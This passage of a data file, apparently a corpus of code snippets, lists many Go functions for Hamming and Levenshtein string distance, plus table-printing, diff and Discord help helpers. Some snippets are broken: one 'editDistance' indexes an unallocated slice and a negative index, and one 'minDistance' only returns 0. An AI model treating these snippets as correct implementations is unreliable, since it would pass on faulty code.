0\n\t\t\t} else {\n\t\t\t\tcount = 1\n\t\t\t}\n\n\t\t\tmatrix[i%3][j] = utils.Min(utils.Min(matrix[(i-1)%3][j]+1, matrix[i%3][j-1]+1),\n\t\t\t\tmatrix[(i-1)%3][j-1]+count) // insertion, deletion, substitution\n\t\t\tif i > 1 && j > 1 && runeStr1[i-1] == runeStr2[j-2] && runeStr1[i-2] == runeStr2[j-1] {\n\t\t\t\tmatrix[i%3][j] = utils.Min(matrix[i%3][j], matrix[(i-2)%3][j-2]+1) // translation\n\t\t\t}\n\t\t}\n\t}\n\treturn matrix[runeStr1len%3][runeStr2len]\n}", "func CalcLevenshteinDist(firstWord string, secondWord string, display bool) int {\n\ta := []rune(\" \" + firstWord)\n\tb := []rune(\" \" + secondWord)\n\ttable := tableSetUp(len(a), len(b))\n\tfor r := 1; r < len(a); r++ {\n\t\tfor c := 1; c < len(b); c++ {\n\t\t\t//find local minimum\n\t\t\tupperLeft := (*table)[r-1][c-1]\n\t\t\tabove := (*table)[r-1][c]\n\t\t\tleft := (*table)[r][c-1]\n\t\t\tmin := customMin(upperLeft, above, left)\n\n\t\t\tif a[r] == b[c] {\n\t\t\t\t(*table)[r][c] = min\n\t\t\t} else {\n\t\t\t\t(*table)[r][c] = min + 1\n\t\t\t}\n\t\t}\n\t}\n\tif display {\n\t\tdisplayDynamicTable(table, a, b)\n\t}\n\n\treturn (*table)[len(a) - 1][len(b) - 1]\n}", "func levenshtein(a string, b string) int {\n\n\t// Handle empty string cases\n\tif len(a) == 0 {\n\t\treturn len(b)\n\t}\n\tif len(b) == 0 {\n\t\treturn len(a)\n\t}\n\n\t// DP matrix\n\tmat := make([][]int, len(a))\n\tfor i := range mat {\n\t\tmat[i] = make([]int, len(b))\n\t}\n\n\t// Initialize base cases\n\tfor i := 0; i < len(a); i++ {\n\t\tmat[i][0] = i\n\t}\n\tfor i := 0; i < len(b); i++ {\n\t\tmat[0][i] = i\n\t}\n\n\t// Fill out optimal edit distance matrix\n\tfor i := 1; i < len(a); i++ {\n\t\tfor j := 1; j < len(b); j++ {\n\t\t\tcost := 0\n\t\t\tif a[i] != b[j] {\n\t\t\t\tcost = 1\n\t\t\t}\n\n\t\t\t// Compute cheapest way of getting to this index\n\t\t\tabove := mat[i-1][j] + 1\n\t\t\tleft := mat[i][j-1] + 1\n\t\t\tdiag := mat[i-1][j-1] + cost\n\n\t\t\t// Sort and take idx 0 to get minimum\n\t\t\tarr := []int{above, left, diag}\n\t\t\tsort.Ints(arr)\n\t\t\tmin := arr[0]\n\t\t\tmat[i][j] = min\n\t\t}\n\t}\n\treturn mat[len(a)-1][len(b)-1]\n}", "func Levenshtein(embed *discordgo.MessageEmbed) *discordgo.MessageEmbed {\n\tembed.Author.Name = \"Command: leven / levenshtein\"\n\tembed.Description = \"`(leven|levenshtein) <word1> <word2>` gives the levenshtein value between 2 words.\"\n\tembed.Fields = []*discordgo.MessageEmbedField{\n\t\t{\n\t\t\tName: \"<word1> <word2>\",\n\t\t\tValue: \"The 2 words to complete the value of.\",\n\t\t},\n\t\t{\n\t\t\tName: \"What is the levenshtein distance?\",\n\t\t\tValue: \"It is a way to calculate how different two words / phrases are from each other.\\nhttps://en.wikipedia.org/wiki/Levenshtein_distance\",\n\t\t},\n\t}\n\treturn embed\n}", "func printLevenshteinDistance(dp [][]int, word1, word2 string) {\n\tfor i := 0; i < len(dp); i++ {\n\t\tif i > 0 {\n\t\t\tfmt.Print(string(word2[i-1]), \" \")\n\t\t}\n\t\tif i == 0 {\n\t\t\tfmt.Print(\" \")\n\t\t\tfor j := 0; j < len(word1); j++ {\n\t\t\t\tfmt.Print(string(word1[j]), \" \")\n\t\t\t}\n\t\t\tfmt.Println(\"\")\n\t\t\tfmt.Print(\" \")\n\t\t}\n\t\tfor j := 0; j < len(dp[i]); j++ {\n\t\t\tfmt.Print(dp[i][j], \" \")\n\t\t}\n\t\tfmt.Println()\n\t}\n}", "func LevenschteinDistance(s1, s2 string, dp [][]int) int {\n\tvar c int\n\tfor i := 1; i <= len(s1); i++ {\n\t\tfor j := 1; j <= len(s2); j++ {\n\t\t\tif s1[i-1] == s2[j-1] {\n\t\t\t\tc = 0\n\t\t\t} else {\n\t\t\t\tc = 1\n\t\t\t}\n\t\t\tdp[i][j] = MinOfThree(dp[i-1][j-1]+c, dp[i-1][j]+1, dp[i][j-1]+1)\n\t\t}\n\t}\n\treturn dp[len(s1)][len(s2)]\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn 0, ErrUnequalLenths\n\t}\n\tif a == \"\" && b == \"\" {\n\t\treturn 0, nil\n\n\t}\n\n\tif len(a) == len(b) {\n\t\tvar differentWord int\n\t\tfor i := 0; i < len(a); i++ {\n\t\t\tif a[i] != b[i] {\n\t\t\t\tdifferentWord++\n\t\t\t}\n\t\t}\n\t\treturn differentWord, nil\n\t}\n\treturn 0, nil\n}", "func SubstitutionDistance(s1, s2 string) int {\n\tdistance := 0\n\tfor i := 0; i < len(s1); i++ {\n\t\tif s1[i] != s2[i] {\n\t\t\tdistance++\n\t\t}\n\t}\n\treturn distance\n}", "func Distance(a, b string) (int, error) {\n\t// default distance to 0\n\tdistance := 0\n\t// default err as an error type set to nil\n\tvar err error = nil\n\n\t// convert to runes so that utf8 characters can be compared.\n\trunesA := []rune(a)\n\trunesB := []rune(b)\n\tfmt.Println(runesA, runesB)\n\t// if lengths dont match throw an error.\n\tif len(runesA) != len(runesB) {\n\t\terr = fmt.Errorf(\"Distance(%q, %q), string lengths are not equal so this is not a valid input for this function\", a, b)\n\t} else if a != b {\n\t\t// loop over the runes in runesA and compare the same index in runesB\n\t\t// if it does not match increment distance\n\t\tfor index, runeValueA := range runesA {\n\t\t\tif runeValueA != runesB[index] {\n\t\t\t\tdistance++\n\t\t\t}\n\t\t}\n\t}\n\n\treturn distance, err\n}", "func LevDist(s string, t string) int {\n\tm := len(s)\n\tn := len(t)\n\td := make([][]int, m+1)\n\tfor i := range d {\n\t\td[i] = make([]int, n+1)\n\t}\n\tfor i := range d {\n\t\td[i][0] = i\n\t}\n\tfor j := range d[0] {\n\t\td[0][j] = j\n\t}\n\tfor j := 1; j <= n; j++ {\n\t\tfor i := 1; i <= m; i++ {\n\t\t\tif s[i-1] == t[j-1] {\n\t\t\t\td[i][j] = d[i-1][j-1]\n\t\t\t} else {\n\t\t\t\tmin := d[i-1][j]\n\t\t\t\tif d[i][j-1] < min {\n\t\t\t\t\tmin = d[i][j-1]\n\t\t\t\t}\n\t\t\t\tif d[i-1][j-1] < min {\n\t\t\t\t\tmin = d[i-1][j-1]\n\t\t\t\t}\n\t\t\t\td[i][j] = min + 1\n\t\t\t}\n\t\t}\n\n\t}\n\treturn d[m][n]\n}", "func minDistance(word1 string, word2 string) int {\n return 0\n}", "func Distance(a, b string) (int, error) {\n\truneA := []rune(a)\n\truneB := []rune(b)\n\n\tif len(runeA) != len(runeB) {\n\t\treturn 0, errors.New(\"left and right strands must be of equal length\")\n\t}\n\n\tdiffCounter := 0\n\tfor i := 0; i < len(runeA); i++ {\n\t\tif runeA[i] != runeB[i] {\n\t\t\tdiffCounter++\n\t\t}\n\t}\n\n\treturn diffCounter, nil\n}", "func Distance(a, b string) (int, error) {\n\tcounter := 0\n\tar, br := []rune(a), []rune(b)\n\tif len(ar) != len(br) {\n\t\treturn 0, errors.New(\"The length of the strands are different\")\n\t}\n\tfor i := range ar {\n\t\tif ar[i] != br[i] {\n\t\t\tcounter++\n\t\t}\n\t}\n\treturn counter, nil\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn 0, errors.New(\"both strands should be of the same size\")\n\t}\n\n\tcount := 0\n\taRunes := []rune(a)\n\tbRunes := []rune(b)\n\n\tfor index, aRuneValue := range aRunes {\n\t\tbRuneValue := bRunes[index]\n\t\taWidth := utf8.RuneLen(aRuneValue)\n\t\tbWidth := utf8.RuneLen(bRuneValue)\n\n\t\tif aRuneValue != bRuneValue || aWidth != bWidth {\n\t\t\tcount++\n\t\t}\n\t}\n\n\treturn count, nil\n}", "func Distance(a, b string) (int, error) {\n\tfailcount := 0\n\tif len(a) != len(b) {\n\t\treturn -1, fmt.Errorf(\"strings are not the same length\\n\")\n\t}\n\n\tfor count := 0; count < len(a); count++ {\n\t\tif a[count] != b[count] {\n\t\t\tfailcount++\n\t\t}\n\t}\n\n\treturn failcount, nil\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn 0, errors.New(\"shit's on fire yo (and the strings should be the same length)\")\n\t}\n\n\tctr := 0\n\tfor i := 0; i < len(a); i++ {\n\t\tif a[i] != b[i] {\n\t\t\tctr++\n\t\t}\n\t}\n\treturn ctr, nil\n}", "func Diff(text1, text2 string) string {\n\tif text1 != \"\" && !strings.HasSuffix(text1, \"\\n\") {\n\t\ttext1 += \"(missing final newline)\"\n\t}\n\tlines1 := strings.Split(text1, \"\\n\")\n\tlines1 = lines1[:len(lines1)-1] // remove empty string after final line\n\tif text2 != \"\" && !strings.HasSuffix(text2, \"\\n\") {\n\t\ttext2 += \"(missing final newline)\"\n\t}\n\tlines2 := strings.Split(text2, \"\\n\")\n\tlines2 = lines2[:len(lines2)-1] // remove empty string after final line\n\n\t// Naive dynamic programming algorithm for edit distance.\n\t// https://en.wikipedia.org/wiki/Wagner–Fischer_algorithm\n\t// dist[i][j] = edit distance between lines1[:len(lines1)-i] and lines2[:len(lines2)-j]\n\t// (The reversed indices make following the minimum cost path\n\t// visit lines in the same order as in the text.)\n\tdist := make([][]int, len(lines1)+1)\n\tfor i := range dist {\n\t\tdist[i] = make([]int, len(lines2)+1)\n\t\tif i == 0 {\n\t\t\tfor j := range dist[0] {\n\t\t\t\tdist[0][j] = j\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\tfor j := range dist[i] {\n\t\t\tif j == 0 {\n\t\t\t\tdist[i][0] = i\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tcost := dist[i][j-1] + 1\n\t\t\tif cost > dist[i-1][j]+1 {\n\t\t\t\tcost = dist[i-1][j] + 1\n\t\t\t}\n\t\t\tif lines1[len(lines1)-i] == lines2[len(lines2)-j] {\n\t\t\t\tif cost > dist[i-1][j-1] {\n\t\t\t\t\tcost = dist[i-1][j-1]\n\t\t\t\t}\n\t\t\t}\n\t\t\tdist[i][j] = cost\n\t\t}\n\t}\n\n\tvar buf strings.Builder\n\ti, j := len(lines1), len(lines2)\n\tfor i > 0 || j > 0 {\n\t\tcost := dist[i][j]\n\t\tif i > 0 && j > 0 && cost == dist[i-1][j-1] && lines1[len(lines1)-i] == lines2[len(lines2)-j] {\n\t\t\tfmt.Fprintf(&buf, \" %s\\n\", lines1[len(lines1)-i])\n\t\t\ti--\n\t\t\tj--\n\t\t} else if i > 0 && cost == dist[i-1][j]+1 {\n\t\t\tfmt.Fprintf(&buf, \"-%s\\n\", lines1[len(lines1)-i])\n\t\t\ti--\n\t\t} else {\n\t\t\tfmt.Fprintf(&buf, \"+%s\\n\", lines2[len(lines2)-j])\n\t\t\tj--\n\t\t}\n\t}\n\treturn buf.String()\n}", "func Distance(a, b string) (int, error) {\n\n\tif len(a) != len(b) {\n\t\treturn -1, fmt.Errorf(\"Unequal string lengths!\")\n\t}\n\n\tmutations := 0\n\tfor i := 0; i < len(a); i++ {\n\t\tif a[i] != b[i] {\n\t\t\tmutations += 1\n\t\t}\n\t}\n\n\treturn mutations, nil\n}", "func Distance(a, b string) (int, error) {\n\t// Check both strands are equal length\n\tif len(a) != len(b) {\n\t\treturn 0, errors.New(\"not possible to calculate hamming distance between strands of different lengths\")\n\t}\n\n\t// Loop through the strings and compare each char\n\tcount := 0\n\tfor i := 0; i < len(a); i++ {\n\t\tif a[i] != b[i] {\n\t\t\tcount++\n\t\t}\n\t}\n\n\treturn count, nil\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn 0, errors.New(\"given DNA strangs were not of equal length\")\n\t}\n\n\tvar result int = 0\n\taChars := []rune(a)\n\tbChars := []rune(b)\n\tfor index, char := range aChars {\n\t\tif char != bChars[index] {\n\t\t\tresult++\n\t\t}\n\t}\n\n\treturn result, nil\n}", "func Distance(a, b string) (int, error) {\n\n\t// if strings are empty or of different lengths, return error\n\tif (len(a) != len(b)) {\n\t\treturn -1, fmt.Errorf(\"Expected arguments of equal length but got len(a) '%v' and len(b) '%v'\", len(a), len(b))\n\t}\n\n\tdist := 0\n\n\t// for bonus points, we'll cast both strings to rune arrays\n\tfor i, e := range ([]rune(a)) {\n\t\tif (e != ([]rune(b))[i]) {\n\t\t\tdist++\n\t\t}\n\t}\n\n\t// go there\n\treturn dist, nil\n}", "func Distance(a, b string) (int, error) {\n\tacc := 0\n\tif len(a) != len(b) {\n\t\treturn 0, errors.New(\"The string length should be the same\")\n\t}\n\n\tfor i := 0; i < len(a); i++ {\n\t\tif a[i] != b[i] {\n\t\t\tacc++\n\t\t}\n\t}\n\treturn acc, nil\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn 0, errors.New(\"strands need to be of equal length\")\n\t}\n\n\tdistance := 0\n\tfor i := range []rune(a) {\n\t\tif a[i] != b[i] {\n\t\t\tdistance++\n\t\t}\n\t}\n\n\treturn distance, nil\n}", "func editDistance(string1, string2 string) int {\n\tvar dp [][]int\n\n\tfor i := 0; i < len(string1); i++ {\n\t\tfor j := 0; j < len(string2); j++ {\n\t\t\tif i == 0 {\n\t\t\t\tdp[i][j] = j\n\t\t\t} else if j == 0 {\n\t\t\t\tdp[i][j] = i\n\t\t\t} else {\n\t\t\t\tdp[i][j] = 0\n\t\t\t}\n\t\t}\n\t}\n\n\tfor i := 0; i < len(string1); i++ {\n\t\tfor j := 0; j < len(string2); j++ {\n\t\t\ti_idx := i - 1\n\t\t\tj_idx := j - 1\n\t\t\tif string1[i_idx] == string2[j_idx] {\n\t\t\t\tdp[i][j] = dp[i-1][j-1]\n\t\t\t} else {\n\t\t\t\tdp[i][j] = 1 + min(dp[i][j]+dp[i-1][j], dp[i][j]+dp[i][j-1], dp[i][j]+dp[i-1][j-1])\n\t\t\t}\n\t\t}\n\t}\n\treturn dp[len(string1)+1][len(string2)+1]\n\n}", "func Distance(a, b string) (int, error) {\n\tvar firstStringLength = len(a)\n\tvar secondStringLength = len(b)\n\n\tif firstStringLength != secondStringLength {\n\t\treturn 0, errors.New(\"string length are not equal\")\n\t}\n\n\tvar incorrectGenes = 0\n\tfor i := 0; i < firstStringLength; i++ {\n\t\tif a[i] != b[i] {\n\t\t\tincorrectGenes++\n\t\t}\n\t}\n\treturn incorrectGenes, nil\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn -1, errors.New(\"strings are unequal\")\n\t}\n\n\tla := len(a)\n\tdist := 0\n\tfor i := 0; i < la; i++ {\n\t\tif a[i] != b[i] {\n\t\t\tdist++\n\t\t}\n\t}\n\n\treturn dist, nil\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn -1, errors.New(\"Strings are not the same length\")\n\t}\n\tdiffCount := 0\n\tfor i := range a {\n\t\tif string([]rune(a)[i]) != string([]rune(b)[i]) {\n\t\t\tdiffCount++\n\t\t}\n\t}\n\treturn diffCount, nil\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn 0,\n\t\t\terrors.New(\"Strings are not the same lenght\")\n\t}\n\n\treturn len(filter(zip([]rune(a), []rune(b)),\n\t\t\titemsAreDifferent)),\n\t\tnil\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn -1, fmt.Errorf(\"Two strings of unequal length\")\n\t}\n\tdistance := 0\n\tfor i := 0; i < len(a); i++ {\n\t\tif a[i] != b[i] {\n\t\t\tdistance += 1\n\t\t}\n\t}\n\treturn distance, nil\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn 0, fmt.Errorf(\"strings have different length\")\n\t}\n\n\tdiff := 0\n\tfor i := 0; i < len(a); i++ {\n\t\tif a[i] != b[i] {\n\t\t\tdiff++\n\t\t}\n\t}\n\treturn diff, nil\n}", "func EditDistance(a, b string) int {\n\t// Convert strings to rune array to handle no-ASCII characters\n\truneA := []rune(a)\n\truneB := []rune(b)\n\n\t// Compare rune lengths\n\tif len(runeA) != len(runeB) {\n\t\treturn 0\n\t}\n\n\t// Check equality of types\n\tif utils.Equal(runeA, runeB) {\n\t\treturn 0\n\t}\n\n\tvar counter int\n\tfor i, e := range runeA {\n\t\tif e != runeB[i] {\n\t\t\tcounter++\n\t\t}\n\t}\n\n\treturn counter\n}", "func Distance(a, b string) (d int, err error) {\n\tif len(a) != len(b) {\n\t\treturn d, fmt.Errorf(\"strings are not equal length: %d != %d\", len(a), len(b))\n\t}\n\n\tfor i := range a {\n\t\tif a[i] != b[i] {\n\t\t\td++\n\t\t}\n\t}\n\n\treturn d, nil\n}", "func Distance(a, b string) (int, error) {\n if len(a) != len(b) {\n \treturn 0, errors.New(\"both strings do not have the same length\")\n }\n\n\tdistance := 0\n\n for i := 0; i < len(a); i++ {\n \tif a[i:i + 1] != b[i:i + 1] {\n \t\tdistance += 1\n \t}\n }\n\n return distance, nil\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\terr := errors.New(\"Strings must be of the same length to calculate distance\")\n\t\treturn 0, err\n\t}\n\n\tcount := 0\n\tfor i := 0; i < len(a); i++ {\n\t\tif a[i] != b[i] {\n\t\t\tcount++\n\t\t}\n\t}\n\n\treturn count, nil\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn 0, ErrStrLenNotEqual\n\t}\n\n\tvar cnt int\n\tfor i := 0; i < len(a); i++ {\n\t\tif a[i] != b[i] {\n\t\t\tcnt++\n\t\t}\n\t}\n\treturn cnt, nil\n}", "func Distance(a, b string) (num int, err error) {\n\tif len(a) != len(b) {\n\t\treturn 0, fmt.Errorf(\"input strings have differing length\")\n\t}\n\n\tdefer func() {\n\t\tif rErr := recover(); rErr != nil {\n\t\t\tnum = 0\n\t\t\terr = fmt.Errorf(\"failed to read from reader\")\n\t\t}\n\t}()\n\n\taR := strings.NewReader(a)\n\tbR := strings.NewReader(b)\n\n\tfor aR.Len() > 0 {\n\t\tif readRune(aR) != readRune(bR) {\n\t\t\tnum++\n\t\t}\n\t}\n\treturn\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn -1, errors.New(\"strings must have the same length\")\n\t}\n\n\tdistance := 0\n\ti := 0\n\tfor _, c := range a {\n\t\tif []rune(b)[i] != c {\n\t\t\tdistance++\n\t\t}\n\t\ti++\n\t}\n\n\treturn distance, nil\n}", "func Distance(a, b string) (int, error) {\n\n\t// checking if lengths of the two strings are the same\n\tif len(a) == len(b) {\n\t\terrorCount := 0\n\n\t\t// iterating through the first string\n\t\tfor index := range a {\n\n\t\t\t// if character in the first string is not equal to the second string at the same location increase\n\t\t\t// the errorCount by one\n\t\t\tif a[index] != b[index] {\n\t\t\t\terrorCount += 1\n\t\t\t}\n\n\t\t}\n\t\treturn errorCount, nil\n\t}\n\n\treturn 0, errors.New(\"incompatible lengths\")\n\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn 0, errors.New(\"strings must be of equal length\")\n\t}\n\n\tcount := 0\n\tfor i := 0; i < len(a); i++ {\n\t\tif a[i] != b[i] {\n\t\t\tcount++\n\t\t}\n\t}\n\treturn count, nil\n}", "func minDistance(word1 string, word2 string) int {\n\t// dp[i][j] 表示 word1 字符串的前 i 个字符编辑为 word2 字符串的前 j 个字符最少需要多少次操作\n\tm, n := len(word1), len(word2)\n\tdp := make([][]int, m+1)\n\tfor i := 0; i <= m; i++ {\n\t\tdp[i] = make([]int, n+1)\n\t}\n\tfor i := 0; i <= m; i++ {\n\t\tdp[i][0] = i\n\t}\n\tfor i := 0; i <= n; i++ {\n\t\tdp[0][i] = i\n\t}\n\t// 我们用 A = horse,B = ros 作为例子,来看一看是如何把这个问题转化为规模较小的若干子问题的:\n\t// 1、在单词 A 中插入一个字符:如果我们知道 horse 到 ro 的编辑距离为 a,那么显然 horse 到 ros 的编辑距离不会超过 a + 1。\n\t// 这是因为我们可以在 a 次操作后将 horse 和 ro 变为相同的字符串,只需要额外的 1 次操作,在单词 A 的末尾添加字符 s,\n\t// 就能在 a + 1 次操作后将 horse 和 ro 变为相同的字符串;\n\t// 2、在单词 B 中插入一个字符:如果我们知道 hors 到 ros 的编辑距离为 b,那么显然 horse 到 ros 的编辑距离不会超过 b + 1,原因同上;\n\t// 3、修改单词 A 的一个字符:如果我们知道 hors 到 ro 的编辑距离为 c,那么显然 horse 到 ros 的编辑距离不会超过 c + 1,原因同上\n\tfor i := 1; i <= m; i++ {\n\t\tfor j := 1; j <= n; j++ {\n\t\t\tif word1[i-1] == word2[j-1] {\n\t\t\t\tdp[i][j] = dp[i-1][j-1]\n\t\t\t} else {\n\t\t\t\tdp[i][j] = minInt(minInt(dp[i-1][j], dp[i][j-1]), dp[i-1][j-1]) + 1\n\t\t\t}\n\t\t}\n\t}\n\n\treturn dp[m][n]\n}", "func Distance(a, b string) (int, error) {\n\n\tif len([]rune(a)) != len([]rune(b)) {\n\t\treturn 0, fmt.Errorf(\"%s and %s are of different length\", a, b)\n\t}\n\n\thammingDistance := 0\n\tfor i := 0; i < len([]rune(a)); i++ {\n\t\tif []rune(a)[i] != []rune(b)[i] {\n\t\t\thammingDistance++\n\t\t}\n\t}\n\treturn hammingDistance, nil\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn 0, errors.New(\"Error: nucleotide strings must be of equal length\")\n\t}\n\n\tvar d int\n\tfor i := range a {\n\t\tif a[i] != b[i] {\n\t\t\td++\n\t\t}\n\t}\n\n\treturn d, nil\n\n}", "func EditDistance(s1, s2 string) int {\n\tif len(s1) == 0 {\n\t\treturn len(s2)\n\t}\n\tif len(s2) == 0 {\n\t\treturn len(s1)\n\t}\n\tvar table [1000][1000]int\n\tvar cost int\n\tminValue := func(x, y, z int) int {\n\t\tc := x\n\t\tif y < c {\n\t\t\tc = y\n\t\t}\n\t\tif z < c {\n\t\t\tc = z\n\t\t}\n\t\treturn c\n\t}\n\tfor i := 1; i < len(s1); i++ {\n\t\ttable[i][0] = i\n\t}\n\tfor j := 1; j < len(s2); j++ {\n\t\ttable[0][j] = j\n\t}\n\tfor j := 1; j <= len(s2); j++ {\n\t\tfor i := 1; i <= len(s1); i++ {\n\t\t\tif s1[i-1] == s2[j-1] {\n\t\t\t\tcost = 0\n\t\t\t} else {\n\t\t\t\tcost = 1\n\t\t\t}\n\t\t\ttable[i][j] = minValue((table[i-1][j] + 1), (table[i][j-1] + 1), (table[i-1][j-1] + cost))\n\t\t}\n\t}\n\treturn table[len(s1)][len(s2)]\n}", "func Distance(a, b string) (int, error) {\n\t// If a and b has dissimilar then raise error.\n\tif len(a) != len(b) {\n\t\treturn 0, errors.New(\"a and b must have same length\")\n\t}\n\n\t// Initiate the hamming distance\n\tdistance := 0\n\n\t// Convert to rune to cover utf-8 string\n\tstrandA := []rune(a)\n\tstrandB := []rune(b)\n\n\t// Iterate two DNA strands and compare it by characters at the same index.\n\tfor index := range strandA {\n\t\tif strandA[index] != strandB[index] {\n\t\t\tdistance++\n\t\t}\n\t}\n\n\treturn distance, nil\n}", "func Distance(a, b string) (int, error) {\n if len(a) != len(b) {\n return 0, errors.New(\"input lengths mismatch\")\n }\n \n dif := 0\n for i := 0; i < len(a); i++ {\n if a[i] != b[i] {\n dif++\n }\n }\n \n return dif, nil\n}", "func Distance(a, b string) (int, error) {\n\taRunes := []rune(a)\n\tbRunes := []rune(b)\n\n\tif len(aRunes) != len(bRunes) {\n\t\treturn 0, errors.New(\"dna strands have different lengths\")\n\t}\n\n\tdistance := 0\n\tfor idx := range aRunes {\n\t\tif aRunes[idx] != bRunes[idx] {\n\t\t\tdistance++\n\t\t}\n\t}\n\treturn distance, nil\n}", "func Distance(a, b string) (dist int, e error) {\n\tif len(a) != len(b) {\n\t\tdist = -1\n\t\te = NotSameLength{a, b}\n\t} else {\n\t\tfor i, _ := range a {\n\t\t\tif a[i] != b[i] {\n\t\t\t\tdist++\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}", "func CompareSegmentedStrings(s1, s2 string) float64 {\n\tsimilarity := 0.0\n\n\tif len(s1) == 0 || len(s2) == 0 {\n\t\treturn 0\n\t}\n\n\tif s1 == s2 {\n\t\treturn 1\n\t}\n\n\tsegs1 := segmentString(s1) // target string comparing against\n\tsegs2 := segmentString(s2)\n\n\tlongestStringLength := mmath.Max2(len(segs1), len(segs2))\n\tsetSegmentWeighting(longestStringLength)\n\n\t// need to have something to compare\n\tif len(segs1) == 0 || len(segs2) == 0 {\n\t\treturn similarity\n\t}\n\n\tif len(segs1) > len(segs2) {\n\t\tfor index, segment := range segs2 {\n\t\t\tpos := contains(segs1, segment)\n\n\t\t\tif pos == index {\n\t\t\t\t// same segment in same place\n\n\t\t\t\tsimilarity += segmentWeighting[weightingExactMatch]\n\t\t\t} else if pos != -1 {\n\t\t\t\tsimilarity += segmentWeighting[weightingExistanceMatch]\n\t\t\t}\n\t\t}\n\t} else {\n\t\tfor index, segment := range segs1 {\n\t\t\tpos := contains(segs2, segment)\n\n\t\t\tif pos == index {\n\t\t\t\t// same segment in same place\n\t\t\t\tsimilarity += segmentWeighting[weightingExactMatch]\n\t\t\t} else if pos != -1 {\n\t\t\t\tsimilarity += segmentWeighting[weightingExistanceMatch]\n\t\t\t}\n\t\t}\n\t}\n\n\treturn float64(similarity / (segmentWeighting[weightingExactMatch] * float64(longestStringLength)))\n}", "func Distance(a, b string) (int, error) {\n\tif len(a) != len(b) {\n\t\treturn -1, errors.New(\"failed to calculate distance. Strands have unequal length\")\n\t}\n\tvar distance int\n\tfor i := 0; i < len(a); i++ {\n\t\tif a[i] != b[i] {\n\t\t\tdistance++\n\t\t}\n\t}\n\treturn distance, nil\n}", "func Distance(a, b string) (int, error) {\n\tnewA := []rune(a)\n\tnewB := []rune(b)\n\n\tif len(newA) != len(newB) {\n\t\treturn 0, errors.New(\"DNA strands must be of equal length\")\n\t}\n\n\thammingDistance := 0\n\n\tfor k, v := range newA {\n\t\tif newB[k] != v {\n\t\t\thammingDistance++\n\t\t}\n\t}\n\n\treturn hammingDistance, nil\n}", "func Distance(a, b string) (int, error) {\n\tdiff := 0\n\tif len(a) != len(b) {\n\t\treturn diff, errors.New(\"two inputs don't have the same length\")\n\t}\n\tfor i := range a {\n\t\tif a[i] != b[i] {\n\t\t\tdiff++\n\t\t}\n\t}\n\treturn diff, nil\n}", "func Distance(a, b string) (int, error) {\n if len(a) != len(b) {\n return 0, errors.New(\"Input string have different lengths.\")\n }\n var distance int\n for index, char := range a {\n if string(char) != string(b[index]){\n distance += 1\n }\n }\n return distance, nil\n}", "func Distance(a, b string) (int, error) {\n\n\tif len(a) != len(b) {\n\t\treturn 0, errors.New(\"invalid input\")\n\t}\n\n\tvar result int\n\tfor index := 0; index < len(a); index++ {\n\t\tif a[index] != b[index] {\n\t\t\tresult++\n\t\t}\n\t}\n\n\treturn result, nil\n}", "func Distance(a, b string) (int, error) {\n\tvar lenA, lenB int\n\tlenA = len(a)\n\tlenB = len(b)\n\tlenC := len(a)\n\t_ = lenC\n\n\tconst x = 3\n\n\tvar (\n\t\tlenD int\n\t\tlenE = 4\n\t)\n\t_ = lenD\n\t_ = lenE\n\t_ = x\n\n\tif lenA != lenB {\n\t\treturn -1, &NotEqualLengthError{}\n\t}\n\n\tif lenA == 0 {\n\t\treturn 0, nil\n\t}\n\n\tvar diff int\n\n\tfor i := range a {\n\t\tif a[i] != b[i] {\n\t\t\tdiff++\n\t\t}\n\t}\n\n\treturn diff, nil\n\n}", "func distance(str1, str2 string) int {\n\tvar cost, lastdiag, olddiag int\n\ts1 := []rune(str1)\n\ts2 := []rune(str2)\n\n\tlenS1 := len(s1)\n\tlenS2 := len(s2)\n\n\tcolumn := make([]int, lenS1+1)\n\n\tfor y := 1; y <= lenS1; y++ {\n\t\tcolumn[y] = y\n\t}\n\n\tfor x := 1; x <= lenS2; x++ {\n\t\tcolumn[0] = x\n\t\tlastdiag = x - 1\n\t\tfor y := 1; y <= lenS1; y++ {\n\t\t\tolddiag = column[y]\n\t\t\tcost = 0\n\t\t\tif s1[y-1] != s2[x-1] {\n\t\t\t\t// Replace costs 2 in ssdeep\n\t\t\t\tcost = 2\n\t\t\t}\n\t\t\tcolumn[y] = min(\n\t\t\t\tcolumn[y]+1,\n\t\t\t\tcolumn[y-1]+1,\n\t\t\t\tlastdiag+cost)\n\t\t\tlastdiag = olddiag\n\t\t}\n\t}\n\treturn column[lenS1]\n}", "func Distance(a, b string) (int, error) {\n\tvar count int = 0\n\tone := a[:]\n\ttwo := b[:]\n\n\tif len(a) != len(b) {\n\t\treturn count, errors.New(\"mismatched genomes\")\n\t}\n\tfor i := 0; i < len(one); i++ {\n\t\tif one[i] != two[i] {\n\t\t\tcount = count + 1\n\t\t}\n\n\t}\n\treturn count, nil\n}", "func (self *Sax) CompareStrings(list_letters_a, list_letters_b []byte) (float64, error) {\n if len(list_letters_a) != len(list_letters_b) {\n return 0, ErrStringsAreDifferentLength\n }\n mindist := 0.0\n for i := 0; i < len(list_letters_a); i++ {\n mindist += math.Pow(self.compare_letters(rune(list_letters_a[i]), rune(list_letters_b[i])), 2)\n }\n mindist = self.scalingFactor * math.Sqrt(mindist)\n return mindist, nil\n\n}", "func Distance(a, b string) (int, error) {\n\tar, br := []rune(a), 